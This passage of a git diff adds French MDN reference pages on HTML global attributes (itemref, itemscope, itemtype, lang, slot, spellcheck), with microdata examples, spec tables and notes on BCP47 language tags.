+<h2 class="syntaxbox" id="Exemple">Exemple</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div itemscope id="amanda" itemref="a b"&gt;&lt;/div&gt;
+&lt;p id="a"&gt;Name: &lt;span itemprop="name"&gt;Amanda&lt;/span&gt; &lt;/p&gt;
+&lt;div id="b" itemprop="band" itemscope itemref="c"&gt;&lt;/div&gt;
+&lt;div id="c"&gt;
+    &lt;p&gt;Band: &lt;span itemprop="name"&gt;Jazz Band&lt;/span&gt; &lt;/p&gt;
+    &lt;p&gt;Size: &lt;span itemprop="size"&gt;12&lt;/span&gt; players&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Structure_de_données_correspondante">Structure de données correspondante</h3>
+
+<p><small>Au format <a href="https://json-ld.org/" rel="external">JSON-LD</a> :</small></p>
+
+<pre class="brush: json">{
+  "@id": "amanda",
+  "name": "Amanda",
+  "band": {
+    "@id": "b",
+    "name": "Jazz Band",
+    "size": 12
+  }
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML Microdata', "#dfn-itemref", "itemref")}}</td>
+   <td>{{Spec2('HTML Microdata')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "microdata.html#attr-itemref", "itemref")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.global_attributes.itemref")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTML/Attributs_universels">Les différents attributs universels</a></li>
+ <li>Les autres attributs universels relatifs aux microdonnées :
+  <ul>
+   <li>{{htmlattrxref("itemid")}}</li>
+   <li>{{htmlattrxref("itemprop")}}</li>
+   <li>{{htmlattrxref("itemref")}}</li>
+   <li>{{htmlattrxref("itemscope")}}</li>
+   <li>{{htmlattrxref("itemtype")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/html/attributs_universels/itemscope/index.html b/files/fr/web/html/attributs_universels/itemscope/index.html
new file mode 100644
index 0000000000..5e76969620
--- /dev/null
+++ b/files/fr/web/html/attributs_universels/itemscope/index.html
@@ -0,0 +1,228 @@
+---
+title: itemscope
+slug: Web/HTML/Attributs_universels/itemscope
+tags:
+  - Attribut
+  - Attribut universel
+  - HTML
+  - Micro-données
+  - Microdata
+  - Reference
+translation_of: Web/HTML/Global_attributes/itemscope
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p>L'<a href="/fr/docs/Web/HTML/Attributs_universels">attribut universel</a> <strong><code>itemscope</code> </strong>fonctionne généralement avec l'attribut <code>itemtype</code> afin d' indiquer qu'un bloc HTML contient un objet donné. <code>itemscope</code> crée l'objet et définit la portée de l'<code>itemtype</code> associé. Il est possible d'associer un attribut <code>itemscope</code> à n'importe quel élément HTML.</p>
+
+<h3 id="Les_identifiants_rattachés_à_itemscope">Les identifiants rattachés à <code>itemscope</code></h3>
+
+<p>Un élément qui possède un attribut <code>itemscope</code> permet de définir un nouvel élément qui sera un groupe de paires de noms/valeurs. Les éléments qui ont un attribut <code>itemscope</code> et un attribut <code>itemtype</code> peuvent également définir un attribut <code>id</code> (à ne pas confondre avec <code>itemid)</code> pour identifier de façon unique l'élément sur le Web.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">itemscope</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans cet exemple, on a trois attributs <code>itemscopes</code>. Ces trois <code>itemscopes</code> définissent les portées respectives des <code>itemtypes</code> correspondants qui sont : Recipe, AggregateRating et NutritionInformation.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div itemscope itemtype="https://schema.org/Recipe"&gt;
+&lt;h2 itemprop="name"&gt;Grandma's Holiday Apple Pie&lt;/h2&gt;
+&lt;img itemprop="image" src="https://c1.staticflickr.com/1/30/42759561_8631e2f905_n.jpg" width="50" height="50"/&gt;
+&lt;p&gt;By &lt;span itemprop="author" itemscope itemtype="https://schema.org/Person"&gt;
+&lt;span itemprop="name"&gt;Carol Smith&lt;/p&gt;&lt;/span&gt;
+&lt;/span&gt;
+&lt;p&gt;Published: &lt;time datetime="2009-11-05" itemprop="datePublished"&gt;
+November 5, 2009&lt;/p&gt;&lt;/time&gt;
+&lt;span itemprop="description"&gt;This is my grandmother's apple pie recipe. I like to add a dash of nutmeg.&lt;br&gt;&lt;/span&gt;
+ &lt;span itemprop="aggregateRating" itemscope itemtype="https://schema.org/AggregateRating"&gt;
+ &lt;span itemprop="ratingValue"&gt;4.0&lt;/span&gt; stars based on &lt;span itemprop="reviewCount"&gt;35&lt;/span&gt; reviews&lt;br&gt;&lt;/span&gt;
+Prep time: &lt;time datetime="PT30M" itemprop="prepTime"&gt;30 min&lt;br&gt;&lt;/time&gt;
+ Cook time: &lt;time datetime="PT1H" itemprop="cookTime"&gt;1 hour&lt;br&gt;&lt;/time&gt;
+ Total time: &lt;time datetime="PT1H30M" itemprop="totalTime"&gt;1 hour 30 min&lt;br&gt;&lt;/time&gt;
+ Yield: &lt;span itemprop="recipeYield"&gt;1 9" pie (8 servings)&lt;br&gt;&lt;/span&gt;
+ &lt;span itemprop="nutrition" itemscope itemtype="https://schema.org/NutritionInformation"&gt;
+ Serving size: &lt;span itemprop="servingSize"&gt;1 medium slice&lt;br&gt;&lt;/span&gt;
+ Calories per serving: &lt;span itemprop="calories"&gt;250 cal&lt;br&gt;&lt;/span&gt;
+ Fat per serving: &lt;span itemprop="fatContent"&gt;12 g&lt;br&gt;&lt;/span&gt;
+&lt;/span&gt;
+&lt;p&gt;Ingredients:&lt;br&gt;
+  &lt;span itemprop="recipeIngredient"&gt;Thinly-sliced apples: 6 cups&lt;br&gt;&lt;/span&gt;
+  &lt;span itemprop="recipeIngredient"&gt;White sugar: 3/4 cup&lt;br&gt;&lt;/span&gt;
+ ... &lt;/p&gt;
+
+Directions: &lt;br&gt;
+  &lt;div itemprop="recipeInstructions"&gt;
+    1. Cut and peel apples&lt;br&gt;
+    2. Mix sugar and cinnamon. Use additional sugar for tart apples. &lt;br&gt;
+    ...
+  &lt;/div&gt;
+&lt;/div&gt; </pre>
+
+<h3 id="Structure_des_données">Structure des données</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="14">itemscope</td>
+   <td>itemtype</td>
+   <td colspan="2" rowspan="1">Recipe</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>name:</td>
+   <td>Grandma's Holiday Apple Pie</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>image:</td>
+   <td>
+    <div class="jyrRxf-eEDwDf jcd3Mb">https://c1.staticflickr.com/1/30/42759561_8631e2f905_n.jpg</div>
+   </td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>datePublished:</td>
+   <td>2009-11-05</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>description:</td>
+   <td>This is my grandmother's apple pie recipe. I like to add a dash of nutmeg.</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>prepTime:</td>
+   <td>PT30M</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>cookTime:</td>
+   <td>PT1H</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>totalTime:</td>
+   <td>PT1H30M</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>recipeYield:</td>
+   <td>1 9" pie (8 servings)</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>recipeIngredient:</td>
+   <td>Thinly-sliced apples: 6 cups</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>recipeIngredient:</td>
+   <td>White sugar: 3/4 cup</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>recipeInstructions:</td>
+   <td>
+    <div class="jyrRxf-eEDwDf jcd3Mb">1. Cut and peel apples 2. Mix sugar and cinnamon. Use additional sugar for tart apples .</div>
+   </td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td colspan="2" rowspan="1">author [Person]:</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>name:</td>
+   <td>Carol Smith</td>
+  </tr>
+  <tr>
+   <td colspan="1" rowspan="3">itemscope</td>
+   <td>itemprop[itemtype]</td>
+   <td colspan="2" rowspan="1">aggregateRating [AggregateRating]:</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>ratingValue:</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>reviewCount:</td>
+   <td>35</td>
+  </tr>
+  <tr>
+   <td colspan="1" rowspan="4">itemscope</td>
+   <td>itemprop[itemtype]</td>
+   <td colspan="2" rowspan="1">nutrition [NutritionInformation]:</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>servingSize:</td>
+   <td>1 medium slice</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>calories:</td>
+   <td>250 cal</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>fatContent:</td>
+   <td>12 g</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Note</strong> : Pour extraire des micro-données d'un document HTML, vous pouvez utiliser <a href="https://developers.google.com/structured-data/testing-tool/">l'outil d'extraction de Google pour les micro-données.</a> Vous pouvez par exemple utiliser le document HTML précédent.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML Microdata', "#dfn-itemscope", "itemscope")}}</td>
+   <td>{{Spec2('HTML Microdata')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "microdata.html#attr-itemscope", "itemscope")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.global_attributes.itemscope")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTML/Attributs_universels">Les différents attributs universels</a></li>
+ <li>Les autres attributs universels relatifs aux microdonnées :
+  <ul>
+   <li>{{htmlattrxref("itemid")}}</li>
+   <li>{{htmlattrxref("itemprop")}}</li>
+   <li>{{htmlattrxref("itemref")}}</li>
+   <li>{{htmlattrxref("itemscope")}}</li>
+   <li>{{htmlattrxref("itemtype")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/html/attributs_universels/itemtype/index.html b/files/fr/web/html/attributs_universels/itemtype/index.html
new file mode 100644
index 0000000000..5d3ce08694
--- /dev/null
+++ b/files/fr/web/html/attributs_universels/itemtype/index.html
@@ -0,0 +1,113 @@
+---
+title: itemtype
+slug: Web/HTML/Attributs_universels/itemtype
+tags:
+  - Attribut
+  - Attribut universel
+  - HTML
+  - Micro-données
+  - Microdata
+  - Référence(2)
+translation_of: Web/HTML/Global_attributes/itemtype
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p>L'<a href="/fr/docs/Web/HTML/Attributs_universels">attribut universel</a> <strong><code>itemtype</code> </strong>définit l'URL du vocabulaire qui sera utilisé pour définir les propriétés des objets dans la structure de données. <code>itemscope</code> est utilisé afin de définir la portée, dans le document, où le vocabulaire défini sera actif.</p>
+
+<p>L'attribut <code>itemtype</code> doit avoir une valeur qui est un ensemble non ordonné de fragments uniques, sensible à la casse. Chaque fragment doit être une URL absolue valide et tous les fragments participent à la définition du même vocabulaire. La valeur de l'attribut doit avoir au moins un fragment.</p>
+
+<p>Les types d'objet doivent tous être définis dans des spécifications de vocabulaire (comme <a href="http://schema.org/">schema.org</a>) et doivent tous être définis avec le même vocabulaire.</p>
+
+<p>L'attribut <code>itemtype</code> peut uniquement être défini pour les éléments qui ont un attribut <code>itemscope</code>.</p>
+
+<p>Google et les autres moteurs de recherche participent au vocabulaire défini par <a href="http://schema.org/">schema.org</a> pour structurer les données. Ce vocabulaire définit un ensemble standard de types et de noms de propriétés. Par exemple <code><a href="http://schema.org/MusicEvent">MusicEvent</a></code> indique un événement musical dont les propriétés <code><a href="http://schema.org/startDate">startDate</a></code> et <code><a href="http://schema.org/location">location</a></code> utilisées pour définir les détails du concert. Dans ce cas, l'URL <code><a href="http://schema.org/MusicEvent">http://schema.org/MusicEvent</a></code> sera l'URL utilisée pour l'attribut <code>itemtype</code> et les propriétés <code>startDate</code> et <code>location</code> seront les propriétés utilisées, définies par <code><a href="http://schema.org/MusicEvent">http://schema.org/MusicEvent</a></code>.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Vous pourrez trouver plus d'informations sur l'attribut itemtype sur <a href="http://schema.org/Thing">http://schema.org/Thing</a></p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">itemtype = URL</pre>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div itemscope itemtype="http://schema.org/Product"&gt;
+  &lt;span itemprop="brand"&gt;ACME&lt;/span&gt;
+  &lt;span itemprop="name"&gt;Executive Anvil&lt;/span&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="Structure_de_données">Structure de données</h4>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td rowspan="4"><code>itemscope</code></td>
+   <td><code>itemtype</code></td>
+   <td colspan="2" rowspan="1">http://schema.org/Product</td>
+  </tr>
+  <tr>
+   <td><code>itemprop</code></td>
+   <td><code>name</code></td>
+   <td>Executive Anvil</td>
+  </tr>
+  <tr>
+   <td><code>itemprop</code></td>
+   <td colspan="2" rowspan="1"><code>brand [Thing]</code></td>
+  </tr>
+  <tr>
+   <td><code>itemprop</code></td>
+   <td><code>name</code></td>
+   <td>ACME</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML Microdata', "#dfn-itemtype", "itemtype")}}</td>
+   <td>{{Spec2('HTML Microdata')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "microdata.html#attr-itemtype", "itemprop")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.global_attributes.itemtype")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTML/Attributs_universels">Les différents attributs universels</a></li>
+ <li>Les autres attributs universels relatifs aux microdonnées :
+  <ul>
+   <li>{{htmlattrxref("itemid")}}</li>
+   <li>{{htmlattrxref("itemprop")}}</li>
+   <li>{{htmlattrxref("itemref")}}</li>
+   <li>{{htmlattrxref("itemscope")}}</li>
+   <li>{{htmlattrxref("itemtype")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/html/attributs_universels/lang/index.html b/files/fr/web/html/attributs_universels/lang/index.html
new file mode 100644
index 0000000000..6a45c3ed2a
--- /dev/null
+++ b/files/fr/web/html/attributs_universels/lang/index.html
@@ -0,0 +1,86 @@
+---
+title: lang
+slug: Web/HTML/Attributs_universels/lang
+tags:
+  - Attribut
+  - Attribut universel
+  - HTML
+  - Reference
+translation_of: Web/HTML/Global_attributes/lang
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p>L'<a href="/fr/docs/Web/HTML/Attributs_universels">attribut universel</a> <code><strong>lang</strong></code> permet de définir la langue utilisée pour l'élément. Pour les éléments non-éditables, c'est la langue dans laquelle ils sont écrits. Pour les éléments éditables, c'est la langue dans laquelle devrait écrire l'utilisateur. La valeur de cet attribut est une « balise de langue » dont le format est défini par le document de l'IETF : <a class="external" href="https://www.ietf.org/rfc/bcp/bcp47.txt"><em>Les balises d'identification de langues (BCP47)</em></a>. Si cette balise est la chaîne vide, la langue sera définie comme <em>inconnue</em>. Si la balise de langue n'est pas valide selon BCP47, la langue sera définie comme <em>invalide</em>.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-lang.html","tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Même lorsque l'attribut <code><strong>lang</strong></code> est défini, il peut ne pas être pris en compte. En effet, l'attribut {{htmlattrxref("xml:lang")}} aura la priorité sur celui-ci.</p>
+
+<p>Pour la pseudo-classe CSS {{cssxref(":lang")}}, deux noms de langues invalides sont considérés différents si les noms utilisés sont différents. Par exemple, alors que <code>:lang(fr)</code> permet l'appariement avec les déclarations (valides) <code>lang="fr-BE"</code> ou <code>lang="fr-CH"</code>, un encodage (invalide) comme <code>:lang(xyzzy)</code> ne permet pas l'appariement avec une déclaration (invalide) comme <code>lang="xyzzy-Zorp!"</code>.</p>
+
+<h2 id="Syntaxe_des_balises_de_langue">Syntaxe des balises de langue</h2>
+
+<p>La syntaxe complète décrite par la BCP 47 est suffisamment développée pour désigner certains dialectes spécifiques. Toutefois, dans la plupart des cas, l'utilisation sera assez simple.</p>
+
+<p>Voici un aperçu de la syntaxe simplifiée. Une balise de langue est composées de trois « sous-balises » séparées par des tirets. Chacune de ces sous-balises indique une certaine propriété de la langue. Les trois sous-balises communément utilisées sont :</p>
+
+<dl>
+ <dt>Sous-balise de langue</dt>
+ <dd>Ce fragment est obligatoire. C'est un code sur deux ou trois caractères (généralement en minuscules) qui définit la langue de base. Pour l'anglais, cette sous-balise est <code>en</code> et pour le Badeshi, cette balise est <code>bdz</code>.</dd>
+ <dt>Sous-balise de script</dt>
+ <dd>Ce fragment est optionnel. Il décrit le système d'écriture utilisé par la langue. Cette sous-balise contient toujours quatre caractères. Pour le braille français, la balise complète sera donc <code>fr-Brail</code> ; pour le japonais écrit avec l'alphabet Katakana, le code sera <code>ja-Kana</code>. Si la langue est utilisée avec le script le plus fréquemment utilisé (par exemple de l'espagnol écrit avec l'alphabet latin), il n'est pas nécessaire d'indiquer cette sous-balise.</dd>
+ <dt>Sous-balise régionale</dt>
+ <dd>Ce fragment est optionnel. Il définit un dialecte de la langue de base pour une région donnée. Cette sous-balise est composée de deux lettres en majuscules pour indiquer un pays ou de trois chiffres pour une indiquer une région qui n'est pas un pays. Ainsi, <code>es-ES</code> représente l'espagnol parlé en Espagne et <code>es-013</code> représente l'espagnol parlé en Amérique centrale ; l'espagnol international serait simplement <code>es</code>.</dd>
+</dl>
+
+<p>La sous-balise de script doit précéder la sous-balise régionale si les deux sont présentes. Voici un exemple avec les trois fragments : <code>ru-Cyrl-BY</code> qui correspond au russe, écrit avec l'alphabet cyrillique, tel que parlé en Biélorussie.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "dom.html#the-lang-and-xml:lang-attributes", "lang")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Aucun changement depuis la dernière dérivation, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "dom.html#the-lang-and-xml:lang-attributes", "lang")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Dérivée de {{SpecName('HTML WHATWG')}}, aucun changement de {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "dom.html#the-lang-and-xml:lang-attributes", "lang")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Dérivée de {{SpecName('HTML WHATWG')}}. Définition du comportement de l'attribut <strong>xml:lang</strong> et de l'algorithme à utiliser pour déterminer la langue utilisée. Cet attribut devient également un attribut global à part entière.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/dirlang.html#h-8.1', 'lang')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Attribut supporté pour tous les éléments {{HTMLElement("applet")}}, {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("br")}}, {{HTMLElement("frame")}}, {{HTMLElement("frameset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("param")}}, et {{HTMLElement("script")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.global_attributes.lang")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTML/Attributs_universels">Les différents attributs universels</a></li>
+ <li>La pseudo-classe CSS {{cssxref(":lang")}}</li>
+ <li>L'en-tête HTTP {{HTTPHeader("Content-Language")}}</li>
+</ul>
diff --git a/files/fr/web/html/attributs_universels/slot/index.html b/files/fr/web/html/attributs_universels/slot/index.html
new file mode 100644
index 0000000000..c6b96098a0
--- /dev/null
+++ b/files/fr/web/html/attributs_universels/slot/index.html
@@ -0,0 +1,49 @@
+---
+title: slot
+slug: Web/HTML/Attributs_universels/slot
+tags:
+  - Attribut
+  - Attribut universel
+  - HTML
+  - Reference
+translation_of: Web/HTML/Global_attributes/slot
+---
+<div>{{HTMLSidebar("Global_attributes")}}{{SeeCompatTable}}</div>
+
+<p>L'attribut HTML universel <code><strong>slot</strong></code> permet d'affecter un créneau d'un <em><a href="/fr/docs/Web/Web_Components/Shadow_DOM">shadow DOM</a></em> à un élément. Un élément avec un attribut <code>slot</code> est affecté au créneau créé par l'élément {{HTMLElement("slot")}} dont la valeur de l'attribut {{htmlattrxref("name", "slot")}} correspond à celle de l'attribut <code>slot</code>.</p>
+
+<p>Pour des exemples d'application, consulter le guide <a href="/fr/docs/Web/Web_Components/Using_templates_and_slots">Utiliser les modèles (<em>templates</em>) et les emplacements (<em>slots</em>)</a>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "dom.html#attr-slot", "slot attribute")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', "#dom-element-slot", "slot attribute")}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.global_attributes.slot")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTML/Attributs_universels">Les autres attributs universels</a></li>
+</ul>
diff --git a/files/fr/web/html/attributs_universels/spellcheck/index.html b/files/fr/web/html/attributs_universels/spellcheck/index.html
new file mode 100644
index 0000000000..efc982d646
--- /dev/null
+++ b/files/fr/web/html/attributs_universels/spellcheck/index.html
@@ -0,0 +1,153 @@
+---
+title: spellcheck
+slug: Web/HTML/Attributs_universels/spellcheck
+tags:
+  - Attribut
+  - Attribut universel
+  - HTML
+  - Reference
+translation_of: Web/HTML/Global_attributes/spellcheck
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p>L'attribut universel <code><strong>spellcheck</strong></code> est un attribut à valeur contrainte qui définit si l'orthographe du contenu de l'élément doit être vérifiée.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-spellcheck.html","tabbed-shorter")}}</div>
+
+<div class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</div>
+
+<p>Les valeurs autorisées pour cet attribut sont :</p>
+
+<ul>
+ <li><code>true</code> : cette valeur indique que, si possible, l'orthographe de l'élément doit être vérifiée avec le correcteur orthographique.</li>
+ <li><code>false</code> : cette valeur indique que l'orthographe de l'élément ne doit pas être vérifié.</li>
+</ul>
+
+<p>La valeur par défaut de l'attribut (utilisée si elle n'est pas définie explicitement) sera fonction du navigateur et du type d'élément. Cette valeur par défaut peut également être héritée (autrement dit, la valeur utilisée pour l'élément courant sera la valeur explicite définie pour son plus proche ancêtre dans l'arbre des éléments).</p>
+
+<p>Cet attribut est un attribut à valeur contrainte, ce n'est pas un attribut booléen. Il faut donc utiliser explicitement les valeurs <code>true</code> ou <code>false</code>. Ainsi :</p>
+
+<pre class="example-bad brush: html">&lt;label spellcheck&gt;Label exemple&lt;/label&gt;</pre>
+
+<p>sera invalide, la formulation correcte étant :</p>
+
+<pre class="example-good brush: html">&lt;label spellcheck="true"&gt;Label exemple&lt;/label&gt;</pre>
+
+<p>Cet attribut n'est qu'une indication à destination du navigateur : il n'est pas obligatoire qu'un navigateur puisse vérifier l'orthographe. Les éléments non-éditables ne sont généralement pas vérifiés, même lorsque <code><strong>spellcheck</strong></code> vaut <code>true</code> et que le navigateur possède une fonctionnalité de vérification orthographique.</p>
+
+<p>La valeur par défaut sera différente selon l'élément et le navigateur :</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>Navigateur</th>
+   <th>{{HTMLElement("html")}}</th>
+   <th>{{HTMLElement("textarea")}}</th>
+   <th>{{HTMLElement("input")}}</th>
+   <th>Autres</th>
+   <th>Commentaires</th>
+  </tr>
+  <tr>
+   <td rowspan="3">Firefox / Gecko</td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+   <td><em>hérité</em></td>
+   <td>Lorsque <code>layout.spellcheckDefault</code> vaut <code>0</code></td>
+  </tr>
+  <tr>
+   <td><strong><code>false</code></strong></td>
+   <td><strong><code>true</code></strong></td>
+   <td><strong><em>hérité</em></strong></td>
+   <td><strong><em>hérité</em></strong></td>
+   <td><strong>Lorsque <code>layout.spellcheckDefault</code> vaut <code>1</code> (valeur par défaut)</strong></td>
+  </tr>
+  <tr>
+   <td><code>false</code></td>
+   <td><code>true</code></td>
+   <td><code>true</code></td>
+   <td><em>hérité</em></td>
+   <td>Lorsque <code>layout.spellcheckDefault</code> vaut <code>2</code></td>
+  </tr>
+  <tr>
+   <td>Chrome</td>
+   <td><code>false</code></td>
+   <td><code>true</code></td>
+   <td>?</td>
+   <td><em>hérité</em></td>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td><code>false</code></td>
+   <td><code>true</code></td>
+   <td>?</td>
+   <td><em>hérité</em></td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td><code>false</code></td>
+   <td><code>true</code></td>
+   <td>?</td>
+   <td><em>hérité</em></td>
+  </tr>
+  <tr>
+   <td>Safari</td>
+   <td><code>false</code></td>
+   <td><code>true</code></td>
+   <td>?</td>
+   <td><em>hérité</em></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
